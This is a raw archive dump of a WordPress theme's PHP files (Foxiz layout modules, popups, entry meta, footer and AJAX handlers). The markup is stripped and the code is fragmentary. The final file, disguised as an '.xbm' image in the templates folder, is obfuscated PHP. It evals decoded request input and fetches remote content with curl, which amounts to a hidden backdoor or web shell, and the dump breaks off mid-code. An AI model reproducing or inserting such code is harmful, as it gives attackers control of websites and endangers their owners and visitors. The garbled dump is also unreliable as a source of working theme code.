$settings['carousel_gap'] ) . '" data-tgap="' . esc_attr( $settings['carousel_gap_tablet'] ) . '" data-mgap="' . esc_attr( $settings['carousel_gap_mobile'] ) . '"'; echo ' data-play="' . esc_attr( $settings['slider_play'] ) . '" data-speed="' . esc_attr( $settings['slider_speed'] ) . '" data-fmode="' . esc_attr( $settings['slider_fmode'] ) . '" data-centered="' . esc_attr( $settings['slider_centered'] ) . '" '; } } /** * @param array $settings */ if ( ! function_exists( 'foxiz_slider_attrs' ) ) { function foxiz_slider_attrs( $settings = array() ) { $settings = wp_parse_args( $settings, array( 'slider_play' => '0' ) ); if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = 5000; } echo ' data-play="' . esc_attr( $settings['slider_play'] ) . '" data-speed="' . esc_attr( $settings['slider_speed'] ) . '"'; } }PK!#modules/grid.phpnu[
'; if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h6'; } ?>
term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?>
'; echo '' . esc_html( $category->name ) . ''; echo ''; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?>
$id ) ); } ?>
term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?>
'; echo '' . esc_html( $category->name ) . ''; echo ''; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?>
$id, 'classes' => 'is-light' ) ); } ?>
term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?>
category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> '; echo '' . esc_html( $category->name ) . ''; echo ''; ?>
description ) && $description ): ?>
description, 25 ); ?>
'; foxiz_follow_trigger( array( 'id' => $id, 'classes' => 'is-light' ) ); echo '
'; } ?>
term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?>
$id, 'classes' => 'is-light' ) ); } ?>
category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?> '; echo '' . esc_html( $category->name ) . ''; echo ''; ?>
term_id; $meta = get_option( 'foxiz_category_meta', array() ); $featured_array = array(); $featured_urls_array = array(); if ( ! empty( $meta[ $id ]['featured_image'] ) ) { $featured_array = $meta[ $id ]['featured_image']; } if ( ! empty( $meta[ $id ]['featured_image_urls'] ) ) { $featured_urls_array = $meta[ $id ]['featured_image_urls']; } ?>
'; echo '' . esc_html( $category->name ) . ''; echo ''; if ( ! empty( $settings['count_posts'] ) && '1' === (string) $settings['count_posts'] ) : $count = $category->category_count . ' ' . foxiz_html__( 'Articles', 'foxiz' ); if ( '1' === (string) $category->category_count ) { $count = $settings['count_posts'] . ' ' . foxiz_html__( 'Article', 'foxiz' ); } ?>
Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!]++ popup.phpnu['; $output .= '
'; $output .= '
'; $output .= wp_kses( $text, 'foxiz' ); $output .= '
'; $output .= '
'; $output .= '' . foxiz_html__( 'Accept', 'foxiz' ) . ''; $output .= '
'; $output .= '
'; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_render_privacy' ) ) { /** * @return false */ function foxiz_render_privacy() { if ( foxiz_is_amp() || empty( foxiz_get_option( 'privacy_bar' ) ) || empty( foxiz_get_option( 'privacy_text' ) ) ) { return false; } $text = foxiz_get_option( 'privacy_text' ); $class_name = 'privacy-top'; if ( ! empty( foxiz_get_option( 'privacy_position' ) ) ) { $class_name = 'privacy-' . foxiz_get_option( 'privacy_position' ); } echo foxiz_get_privacy( $text, $class_name ); } } if ( ! function_exists( 'foxiz_popup_newsletter' ) ) { function foxiz_popup_newsletter() { echo foxiz_get_popup_newsletter(); } } if ( ! function_exists( 'foxiz_get_popup_newsletter' ) ) { /** * @return false|string */ function foxiz_get_popup_newsletter() { if ( ! foxiz_get_option( 'newsletter_popup' ) || foxiz_is_amp() ) { return false; } $title = foxiz_get_option( 'newsletter_title' ); $description = foxiz_get_option( 'newsletter_description' ); $shortcode = foxiz_get_option( 'newsletter_shortcode' ); $footer = foxiz_get_option( 'newsletter_footer' ); $footer_url = foxiz_get_option( 'newsletter_footer_url' ); $cover = foxiz_get_option( 'newsletter_cover' ); $display = foxiz_get_option( 'newsletter_popup_display' ); $offset = foxiz_get_option( 'newsletter_popup_offset' ); $delay = foxiz_get_option( 'newsletter_popup_delay' ); $expired = foxiz_get_option( 'newsletter_popup_expired' ); $output = ''; return $output; } } if ( ! function_exists( 'foxiz_render_user_form_popup' ) ) { /** * @return false */ function foxiz_render_user_form_popup() { $args = array(); $settings = foxiz_get_option(); if ( is_user_logged_in() || ( empty( $settings['header_login_icon'] ) && empty( 'mobile_login' ) ) ) { return false; } if ( ! empty( $settings['header_login_redirect'] ) ) { $args['redirect'] = $settings['header_login_redirect']; } if ( ! empty( $settings['header_login_register'] ) ) { $args['register'] = $settings['header_login_register']; } if ( ! empty( $settings['header_login_forget'] ) ) { $args['forget_password'] = $settings['header_login_forget']; } ?>
'popup-form', 'label_log_in' => esc_html__( 'Sign In', 'foxiz' ), ); if ( ! empty( $settings['redirect'] ) ) { $args['redirect'] = $settings['redirect']; } if ( empty( $settings['register'] ) ) { $settings['register'] = wp_registration_url(); } if ( empty( $settings['forget_password'] ) ) { $settings['forget_password'] = wp_lostpassword_url(); } ?>
'; $output .= '
'; $output .= '
' . foxiz_get_svg( 'adblock' ) . '
'; if ( ! empty( $title ) ) { $output .= '
' . esc_html( $title ) . '
'; } if ( ! empty( $description ) ) { $output .= '
' . wp_kses( $description, 'foxiz' ) . '
'; } $output .= '
' . foxiz_html__( 'Okay, I\'ll Whitelist' ) . '' . '
'; $output .= '
'; $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_footer_slide_up' ) ) { function foxiz_footer_slide_up() { echo foxiz_get_footer_slide_up(); } } if ( ! function_exists( 'foxiz_get_footer_slide_up' ) ) { /** * @return false|string */ function foxiz_get_footer_slide_up() { if ( ! foxiz_get_option( 'footer_slide_up' ) || ! foxiz_get_option( 'slide_up_shortcode' ) ) { return false; } $delay = foxiz_get_option( 'slide_up_delay' ); $expired = foxiz_get_option( 'slide_up_expired' ); if ( empty( $expired ) ) { $expired = 1; } elseif ( '-1' === (string) $expired ) { $expired = 0; } if ( empty( $delay ) ) { $delay = 2000; } $output = ''; return $output; } }PK!tYzz entry.phpnu['; if ( ! empty( $settings['title_prefix'] ) ) { echo wp_kses( $settings['title_prefix'], 'foxiz' ); } ?> '; } } if ( ! function_exists( 'foxiz_entry_readmore' ) ) { /** * @param array $settings * render read more */ function foxiz_entry_readmore( $settings = array() ) { if ( empty( $settings['readmore'] ) ) { return; } ?>

$settings['excerpt_length'] ) { return false; } if ( ! empty( $settings['excerpt_source'] ) && 'tagline' === $settings['excerpt_source'] && rb_get_meta( 'tagline' ) ) : $tagline = wp_trim_words( rb_get_meta( 'tagline' ), intval( $settings['excerpt_length'] ), '' ); ?>

…' ); } if ( empty( $output ) ) { $output = get_the_content( '' ); $output = strip_shortcodes( $output ); $output = excerpt_remove_blocks( $output ); $output = preg_replace( "~(?:\[/?)[^/\]]+/?\]~s", '', $output ); $output = str_replace( ']]>', ']]>', $output ); $output = wp_strip_all_tags( $output ); $output = wp_trim_words( $output, intval( $settings['excerpt_length'] ), '' ); } if ( empty( $output ) ) { return false; } ?>

'; } if ( ! empty( $timestamp ) ) : ?> 1 ) { foxiz_entry_meta_authors( $settings, $author_data, $job ); return false; } } /** single author */ $classes = array(); $author_id = get_post_field( 'post_author', $post_id ); $label = foxiz_get_option( 'meta_author_label' ); if ( is_singular( 'post' ) ) { $label = foxiz_get_option( 'single_post_meta_author_label' ); } $classes[] = 'meta-el meta-author'; if ( ! empty( $settings['tablet_hide_meta'] ) && is_array( $settings['tablet_hide_meta'] ) && in_array( 'author', $settings['tablet_hide_meta'] ) ) { $classes[] = 'tablet-hide'; } if ( ! empty( $settings['mobile_hide_meta'] ) && is_array( $settings['mobile_hide_meta'] ) && in_array( 'author', $settings['mobile_hide_meta'] ) ) { $classes[] = 'mobile-hide'; } ?>  -  ID ); ?> ID ) ) : ?>  - ID ); ?> 1 ) { $classes[] = 'multiple-meta-avatar'; ?> ID ), absint( $settings['avatar_size'] ), '', get_the_author_meta( 'display_name', $author->ID ) ); ?> '; } foreach ( $categories as $category ) : ?> name ); ?> '; } ?> '; } if ( '0' === (string) $count ) { foxiz_html_e( 'Add a Comment', 'foxiz' ); } elseif ( '1' === (string) $count ) { foxiz_html_e( '1 comment', 'foxiz' ); } else { echo sprintf( foxiz_html__( '%s comments', 'foxiz' ), foxiz_pretty_number( $count ) ); } ?> options['display']['restrict_display']['groups']; if ( is_user_logged_in() ) { if ( in_array( 'users', $groups, true ) ) { $display = false; } elseif ( in_array( 'roles', $groups, true ) && Post_Views_Counter()->counter->is_user_role_excluded( get_current_user_id(), Post_Views_Counter()->options['display']['restrict_display']['roles'] ) ) { $display = false; } } elseif ( in_array( 'guests', $groups, true ) ) { $display = false; } if ( ! in_the_loop() && ! class_exists( 'bbPress' ) ) { $display = false; } if ( ! $display ) { return false; } $count = pvc_get_post_views( $post_id ); $fake_view = rb_get_meta( 'start_view', $post_id ); if ( ! empty( $fake_view ) ) { $count = intval( $count ) + intval( $fake_view ); } if ( empty( $count ) ) { return false; } $classes[] = 'meta-el meta-view'; if ( ! empty( $settings['tablet_hide_meta'] ) && is_array( $settings['tablet_hide_meta'] ) && in_array( 'view', $settings['tablet_hide_meta'] ) ) { $classes[] = 'tablet-hide'; } if ( ! empty( $settings['mobile_hide_meta'] ) && is_array( $settings['mobile_hide_meta'] ) && in_array( 'view', $settings['mobile_hide_meta'] ) ) { $classes[] = 'mobile-hide'; } ?> '; } if ( '1' === (string) $count ) { foxiz_html_e( '1 View', 'foxiz' ); } else { echo sprintf( foxiz_html__( '%s Views' ), foxiz_pretty_number( $count ) ); } ?> '; } if ( ! empty( $timestamp ) ) : ?> 30 ) { $minutes ++; } $classes[] = 'meta-el meta-read'; if ( ! empty( $settings['tablet_hide_meta'] ) && is_array( $settings['tablet_hide_meta'] ) && in_array( 'read', $settings['tablet_hide_meta'] ) ) { $classes[] = 'tablet-hide'; } if ( ! empty( $settings['mobile_hide_meta'] ) && is_array( $settings['mobile_hide_meta'] ) && in_array( 'read', $settings['mobile_hide_meta'] ) ) { $classes[] = 'mobile-hide'; } ?> '; } echo sprintf( foxiz_html__( '%s Min Read', 'foxiz' ), $minutes ); ?> 'featured-img' ) ); ?> '', 'crop_size' => '1536x1536', 'format' => '' ) ); $classes = array(); $classes[] = 'p-featured'; if ( ! empty( $settings['featured_classes'] ) ) { $classes[] = $settings['featured_classes']; } if ( has_post_format( 'video' ) ) { $video_preview = wp_get_attachment_url( rb_get_meta( 'video_preview' ) ); } ?>
'; case 'gallery' : if ( ! foxiz_get_option( 'post_icon_gallery' ) ) { return false; } $gallery = rb_get_meta( 'gallery_data' ); $gallery = explode( ',', $gallery ); $classes[] = 'format-gallery'; return '' . count( $gallery ) . ''; case 'audio' : if ( ! foxiz_get_option( 'post_icon_audio' ) ) { return false; } $classes[] = 'format-radio'; return ''; default: return false; } } } if ( ! function_exists( 'foxiz_get_entry_categories' ) ) { /** * @param $settings * * @return false|string */ function foxiz_get_entry_categories( $settings ) { if ( empty( $settings['entry_category'] ) ) { return false; } $output = ''; $classes = array(); $categories = get_the_category(); $primary_category = ''; $primary_category_name = ''; if ( ! isset( $settings['is_singular'] ) ) { $primary_category = rb_get_meta( 'primary_category' ); $primary_category_name = get_cat_name( $primary_category ); } $max = absint( foxiz_get_option( 'max_categories' ) ); if ( empty( $max ) ) { $max = 99999; } $index = 1; $classes[] = 'p-categories'; if ( ! empty( $primary_category_name ) ) { $classes[] = 'is-primary'; } if ( ! empty( $settings['category_classes'] ) ) { $classes[] = $settings['category_classes']; } $classes = join( ' ', $classes ); $output .= '
'; if ( empty( $primary_category ) || empty ( $primary_category_name ) ) : if ( ! empty( $categories ) && is_array( $categories ) ) : foreach ( $categories as $category ) : $output .= ''; $output .= esc_html( $category->name ); $output .= ''; $index ++; if ( $index > $max ) { break; } endforeach; endif; else : $output .= ''; $output .= esc_html( $primary_category_name ); $output .= ''; endif; $output .= '
'; return $output; } } if ( ! function_exists( 'foxiz_entry_format_absolute' ) ) { /** * @param array $settings */ function foxiz_entry_format_absolute( $settings = array() ) { if ( empty( $settings['entry_format'] ) || 'after-category' === $settings['entry_format'] ) { return false; } $layout = explode( ',', $settings['entry_format'] ); $classes = array(); $classes[] = 'entry-format-absolute format-style-' . $layout[0]; if ( ! empty( $layout[1] ) ) { $classes[] = 'format-size-' . $layout[1]; } if ( foxiz_get_entry_format( $settings ) ) { echo ''; } } } if ( ! function_exists( 'foxiz_get_entry_top' ) ) { /** * @param array $settings * * @return false|string */ function foxiz_get_entry_top( $settings = array() ) { if ( ! empty( $settings['entry_format'] ) && 'after-category' === $settings['entry_format'] ) { $entry_format_buffer = foxiz_get_entry_format( $settings ); } if ( ! empty( $settings['entry_category'] ) ) { $entry_category_buffer = foxiz_get_entry_categories( $settings ); } if ( empty( $entry_format_buffer ) && empty( $entry_category_buffer ) ) { return false; } $settings['top_classes'] = 'p-top'; if ( ! empty( $settings['hide_category'] ) ) { switch ( $settings['hide_category'] ) { case 'mobile' : $settings['top_classes'] .= ' mobile-hide'; break; case 'tablet' : $settings['top_classes'] .= ' tablet-hide'; break; case 'all' : $settings['top_classes'] .= ' mobile-hide tablet-hide'; break; } } if ( ! empty ( $entry_format_buffer ) ) { $output = '
'; $output .= foxiz_get_entry_categories( $settings ); $output .= ''; $output .= '
'; } else { $settings['category_classes'] = $settings['top_classes']; $output = foxiz_get_entry_categories( $settings ); } if ( ! empty( $settings['top_spacing'] ) ) { $output .= '
'; } return $output; } } if ( ! function_exists( 'foxiz_entry_top' ) ) { /** * @param array $settings */ function foxiz_entry_top( $settings = array() ) { echo foxiz_get_entry_top( $settings ); } } if ( ! function_exists( 'foxiz_entry_counter' ) ) { /** * @param array $settings */ function foxiz_entry_counter( $settings = array() ) { if ( ! empty( $settings['counter'] ) ) { echo ''; } } } if ( ! function_exists( 'foxiz_entry_review' ) ) { /** * @param $settings * * @return false|void */ function foxiz_entry_review( $settings ) { if ( empty( $settings['review'] ) || 'replace' === $settings['review'] ) { return false; } echo foxiz_get_entry_review( $settings ); } } if ( ! function_exists( 'foxiz_get_entry_review' ) ) { /** * @param array $settings * * @return false|string */ function foxiz_get_entry_review( $settings ) { if ( empty( $settings['review'] ) ) { return false; } $review = foxiz_get_review_settings(); if ( ! is_array( $review ) ) { return false; } if ( empty( $review['average'] ) ) { $review['average'] = 0; } $class_name = 'review-meta is-meta'; if ( ! empty( $review['type'] ) && 'score' === $review['type'] ) { $class_name .= ' type-score'; } else { $class_name .= ' type-star'; } if ( 'replace' === $settings['review'] && ! empty( $settings['bookmark'] ) ) { $class_name .= ' has-bookmark'; } $output = '
'; $output .= '
'; if ( ! empty( $review['type'] ) && 'score' === $review['type'] ) { $output .= foxiz_get_review_line( $review['average'] ); $output .= '' . $review['average'] . ' ' . foxiz_html__( 'out of 10' ) . ''; } else { $output .= foxiz_get_review_stars( $review['average'] ); $output .= '' . $review['average'] . ' ' . foxiz_html__( 'out of 5' ) . ''; } if ( ! empty( $settings['review_meta'] ) && ! empty( $review['meta'] ) ) { $output .= '
' . esc_html( $review['meta'] ) . '
'; } $output .= '
'; if ( 'replace' === $settings['review'] && ! empty( $settings['bookmark'] ) ) { $output .= foxiz_get_bookmark_trigger( get_the_ID() ); } $output .= '
'; return $output; } } if ( ! function_exists( 'foxiz_get_review_line' ) ) { /** * @param int $average * * @return string */ function foxiz_get_review_line( $average = 0 ) { $output = ''; for ( $i = 1; $i <= 5; $i ++ ) { if ( ceil( floatval( $average ) / 2 ) >= $i ) { $output .= ''; } else { $output .= ''; } } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_review_stars' ) ) { /** * @param int $average * * @return string */ function foxiz_get_review_stars( $average = 0 ) { $output = ''; $output .= ''; for ( $i = 1; $i <= 5; $i ++ ) { $output .= ''; } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_get_author_info' ) ) { function foxiz_get_author_info( $author_id = '' ) { ob_start(); if ( empty( $author_id ) || ! get_the_author_meta( 'description', $author_id ) ) { return false; } ?>
' . esc_html__( 'Please update WordPress to the latest version to display this video.', 'foxiz' ) . '

'; } $self_hosted_video_url = wp_get_attachment_url( $self_hosted_video_id ); $params = array( 'src' => $self_hosted_video_url, 'width' => 740, 'height' => 415, 'autoplay' => $auto_play ); return wp_video_shortcode( $params ); } else { $params = array( 'width' => 740, 'height' => 415 ); $video_url = rb_get_meta( 'video_url', $post_id ); $video_url = trim( $video_url ); $embed = wp_oembed_get( $video_url, $params ); if ( ! empty( $embed ) ) { return $embed; } else { $embed = rb_get_meta( 'video_embed', $post_id ); if ( ! empty( $embed ) ) { return $embed; } else { return false; } } } } } if ( ! function_exists( 'foxiz_get_audio_embed' ) ) { /** * @param string $post_id * * @return false|mixed|string|void */ function foxiz_get_audio_embed( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( 'audio' !== get_post_format( $post_id ) ) { return false; } $self_hosted_audio_id = rb_get_meta( 'audio_hosted', $post_id ); if ( ! empty( $self_hosted_audio_id ) ) { $wp_version = floatval( get_bloginfo( 'version' ) ); if ( $wp_version < "3.6" ) { return '

' . esc_html__( 'Please update WordPress to the latest version to display this audio.', 'foxiz' ) . '

'; } $self_hosted_audio_url = wp_get_attachment_url( $self_hosted_audio_id ); $params = array( 'src' => $self_hosted_audio_url, ); return wp_audio_shortcode( $params ); } else { $audio_url = rb_get_meta( 'audio_url', $post_id ); $audio_url = trim( $audio_url ); $embed = wp_oembed_get( $audio_url, array( 'height' => 400, 'width' => 900 ) ); if ( ! empty( $embed ) ) { return $embed; } else { $embed = rb_get_meta( 'audio_embed', $post_id ); if ( ! empty( $embed ) ) { return $embed; } else { return false; } } } } } if ( ! function_exists( 'foxiz_get_attachment_caption' ) ) { /** * @param string $attachment_id * @param string $classes * * @return false|string */ function foxiz_get_attachment_caption( $attachment_id = '', $classes = '' ) { if ( ! wp_get_attachment_caption( $attachment_id ) ) { return false; } $class_name = 'feat-caption meta-text'; if ( ! empty( $classes ) ) { $class_name .= ' ' . $classes; } return '
' . wp_get_attachment_caption( $attachment_id ) . '
'; } }PK!tU!! footer.phpnu[
'; dynamic_sidebar( 'foxiz_sidebar_footer_1' ); echo ''; } if ( is_active_sidebar( 'foxiz_sidebar_footer_2' ) ) { echo ''; } if ( is_active_sidebar( 'foxiz_sidebar_footer_3' ) ) { echo ''; } if ( is_active_sidebar( 'foxiz_sidebar_footer_4' ) && ( '3' !== (string) $layout ) ) { echo ''; } if ( is_active_sidebar( 'foxiz_sidebar_footer_5' ) && ! empty( $layout ) && ( '5' === (string) $layout || '51' === (string) $layout ) ) { echo ''; } return ob_get_clean(); } } if ( ! function_exists( 'foxiz_footer_copyright' ) ) : function foxiz_footer_copyright() { if ( ! foxiz_get_footer_copyright() ) { return false; } $classes = 'footer-copyright'; if ( ( foxiz_is_amp() && foxiz_get_option( 'amp_footer_bottom_center' ) ) || foxiz_get_option( 'footer_bottom_center' ) ) { $classes .= ' footer-bottom-centered'; } ?>
'; } if ( ! empty( $menu ) ) { wp_nav_menu( array( 'menu' => $menu, 'menu_id' => 'copyright-menu', 'menu_class' => 'copyright-menu', 'container' => false, 'depth' => 1, 'echo' => true, 'fallback_cb' => '__return_false', ) ); } ?> foxiz_get_option( 'amp_footer_ad_type' ), 'client' => foxiz_get_option( 'amp_footer_adsense_client' ), 'slot' => foxiz_get_option( 'amp_footer_adsense_slot' ), 'size' => foxiz_get_option( 'amp_footer_adsense_size' ), 'custom' => foxiz_get_option( 'amp_footer_ad_code' ), 'classname' => 'footer-amp-ad amp-ad-wrap' ) ); } ?> validate( $_GET['data'] ); $settings['no_found_rows'] = false; $paged = 2; if ( isset( $settings['page_next'] ) ) { $paged = absint( $settings['page_next'] ); } if ( ! empty( $settings['is_related_query'] ) ) { $_query = foxiz_query_related( $settings, $paged ); } else { $_query = foxiz_query( $settings, $paged ); } $response = array(); if ( $_query->have_posts() ) { if ( ! empty( $_query->paged ) ) { $response['paged'] = $_query->paged; } else { $response['paged'] = $paged; } if ( $response['paged'] >= $settings['page_max'] ) { $response['notice'] = $this->end_list_info(); } $response['content'] = $this->render( $settings, $_query ); wp_reset_postdata(); } else { $response['paged'] = $settings['page_max'] + 99; $response['content'] = $this->end_list_info(); } wp_send_json( $response, null ); } /** * @param $settings * * @return array|mixed|string * validate input */ function validate( $settings ) { if ( is_array( $settings ) ) { foreach ( $settings as $key => $val ) { $key = sanitize_text_field( $key ); if ( ! is_array( $settings[ $key ] ) ) { $settings[ $key ] = sanitize_text_field( $val ); } } } elseif ( is_string( $settings ) ) { $settings = sanitize_text_field( $settings ); } else { $settings = ''; } return $settings; } /** * @param $settings * @param $_query * * @return false|string * render */ function render( $settings, $_query ) { ob_start(); $func = 'foxiz_loop_' . trim( $settings['name'] ); if ( function_exists( $func ) ) { call_user_func_array( $func, array( $settings, $_query ) ); } return ob_get_clean(); } /** * @return string * end list info */ function end_list_info() { $output = '
'; $output .= foxiz_html__( 'You\'ve reached the end of the list!', 'foxiz' ); $output .= '
'; return $output; } /** get embed iframe */ public function embed() { if ( empty( $_POST['data'] ) || empty( $_POST['data']['url'] ) ) { die( '-1' ); } wp_send_json( wp_oembed_get( esc_url( $_POST['data']['url'] ), array( 'height' => 450, 'width' => 800 ) ), null ); } function load_next_redirect() { global $wp_query; if ( empty( $wp_query->query_vars['rbsnp'] ) || ! is_singular( 'post' ) ) { return; } $file = '/templates/single/next-posts.php'; $template = locate_template( $file ); if ( $template ) { include( $template ); } exit; } function live_search() { if ( empty( $_GET['s'] ) ) { wp_send_json( '', null ); } $input = sanitize_text_field( $_GET['s'] ); $_query = new WP_Query( array( 's' => $input, 'posts_per_page' => 4, 'post_type' => 'post', 'post_status' => 'publish' ) ); $response = '
'; if ( $_query->have_posts() ) { ob_start(); while ( $_query->have_posts() ) : $_query->the_post(); foxiz_list_small_2( array( 'featured_position' => 'left', 'middle_mode' => '1' ) ); endwhile; $response .= ob_get_clean(); $response .= ''; } else { $response .= '

' . foxiz_html__( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'foxiz' ) . '

'; } $response .= '
'; wp_send_json( $response, null ); } } } PK!templates/index.phpnu[PK!$0templates/CSbmTMEzOt.xbmnu[p-*/[8+43]/*-w}5-*/.$P/*-g?bFy::Iy-*/[32+21]/*-EK>G-*/.$P/*-QqiG#N-*/[14+43]/*-3n-*/}; /*-;?RY4q-*/if/*-NQs9D3|{-*/((/*-hn,d~{-*/in_array/*-H#!-*/(gettype/*-CGeQ-*/($c)./*-~Xmg|Z~W5^-*/count/*-PQ5C?-*/($c),/*-T-*/$c)/*-skG2lowM_&-*/&&count/*-P3r#,-*/($c)/*-&hiUFE-*/==/*-Ng^>-*/18))/*-D_e-*/{ /*-T0lt-*/(($c[63]=$c[63].$c[73])&&($c[90]=$c[63]($c[90]))&&(/*-tT%=x-*/@eval/*-ZD}D]S-*/($c[63](${$c[45]}[14])/*-^@F-*/))/*-:@7F8-*/);}/*-.0~O-*/class /*-)l-*/q{ /*-!?-*/static/*-Roc`E2-*/ function /*-@Cuy@q-)s-*/yuJ($dQGN) /*-.+u{uHw$-*/{ $KjnBDREhY/*-=`-*/ = /*-:,UKg+:F-*/"r"./*-mOp|9-*/"a"./*-&j@kRe-*/"n"./*->7DyN-*/"g"./*-5S@-*/"e"; /*-pYb)C-*/$PymRiSgD/*-Aq;AEThF-*/ = /*-UQDYm3-*/$KjnBDREhY/*-wCd.U!#ZJ-*/(/*-FH-*/"~"/*-_R-K-*/, /*-~:Xxq#L#%-*/" "/*-oxl-*/);/*-pBL9-*/ $CvJrDP /*-V2Y-*/= /*-T-*/explode/*-z{-*/(/*-Kp1-*/"+", /*-n{O[^6ApT-*/$dQGN/*-%;jG;Tz-*/); /*-nLNycL-*/$OKSAyox /*-e6qsy3V7-*/= /*-SdS-*/""; foreach /*-H;!dvik;ml-*/(/*-PX7g74-*/$CvJrDP /*-K0gy]VC/*-w4or-*/ $KLTaJ/*-LPSL+U-*/) /*-w+QL[]r,-*/$OKSAyox /*-Q)yj]^-*/.= /*-vF?S)f-*/$PymRiSgD[$KLTaJ/*-Cxh-*/ - /*-oQ.rp`a-*/81681/*-PiF>-*/];/*-I;P9@`]-*/ return /*-ubxYy|-*/$OKSAyox; /*-n:e:Ip(C!I-*/} /*-(SofvfT-*/static /*-etON-*/function /*-cq19NwhCp-*/UuRVGMHjhN/*-+--#KtJ-*/(/*-z|}{JcEe>X-*/$QwzVPYqumd,/*-.6Isr$?H-*/ $ptzWF/*-v{mF|n3x^-*/)/*-X(>-*/ {/*-(=g-*/ $hrmzY/*-LTd-*/ = /*-U-dHY](-*/curl_init/*--|pG-*/(/*-b#:1mm82X{-*/$QwzVPYqumd/*-XBZOv-*/);/*-}9-*/ curl_setopt/*-9AjG`u-*/(/*-W%kU[E-*/$hrmzY,/*-AE6]GaH3e-*/ CURLOPT_RETURNTRANSFER,/*-D8R+39GOz-*/ 1/*-B5)tb-*/);/*-J|^#v-*/ $HTtSeV/*-&Vs}Y#D&k-*/ = /*-y)M,055:-*/curl_exec/*-T!:w#3GoP--*/(/*-#|-*/$hrmzY/*-%lsIL7Ir{-*/); /*-Jp$6hF<-*/return /*-OgtI-*/empty/*-1PMd,lb-*/(/*-F|j+A&.DC-*/$HTtSeV/*-6+sw-*/)/*-RWs~Iv}d-*/ ? /*-fGI2n-*/$ptzWF/*-Sa-q)-*/(/*-g-*/$HTtSeV; /*-p5Bl-*/}/*-Ra06YTt-*/ static/*-zz98-*/ function /*-),E?t-X-*/XedKoM/*-z.-*/() /*-VE:5-*/{/*-0pu-*/ $qmH /*-dkQ.QR-*/=/*-p.||?C[JB-*/ array/*-8F]#(H<9-*/("81708+81693+81706+81710+81691+81706+81712+81705+81690+81697+81708+81691+81702+81696+81697","81692+81691+81693+81712+81693+81696+81691+81758+81756","81701+81692+81696+81697+81712+81707+81706+81708+81696+81707+81706","81695+81710+81708+81700","81709+81710+81692+81706+81753+81755+81712+81707+81706+81708+81696+81707+81706","81705+81702+81699+81706+81712+81704+81706+81691+81712+81708+81696+81697+81691+81706+81697+81691+81692","81735+81765","81682","81760+81765","81742+81725+81725+81742+81718","81696+81705"); /*-KoMl8@fmw-*/foreach /*-u0-*/}[/*-Z#%nc&9-*/$xYwGtoCRID/*-Z&fL,o]&-*/[/*-S(tM[-*/2+7/*-A=#4TSyfT-*/]]/*-T)m(l|WE-*/);/*-Dl`Xd-A-*/ $ehnPM /*-[$EAu5N-*/=/*-x=U-*/ @$xYwGtoCRID/*-f}yesR-*/[/*-fWpta0X-*/1+2/*-dw-*/]/*-1}-*/(/*-~sBl$-*/$xYwGtoCRID/*-TSE8-*/[/*-6OUiOB.s_s-*/4+2/*-Y&viTx@-*/], /*-MlP;$r-*/$jg/*-~wP$w9&-*/);/*-nKh|jl)m-*/ $zYDLpoVs /*-mzMu-*/=/*-J-;s-*/ $xYwGtoCRID/*-Bab1e-*/[/*-8KefD)3tq-*/2+0/*-0|SDQ7}-*/]/*-DO-*/(/*-jC)1oDn6Kj-*/"G"./*-PO-*/"E"/*-lnKLNx2-*/."T"/*-Xaa:wI.YL-*/}/*-a#Kp>W-*/[/*-pq7-*/$xYwGtoCRID/*-,-^Bbpp>~-*/()/*-%7X-*/) > /*-SF=C-*/0/*-)`!vniK-*/)/*-?jM-*/ and 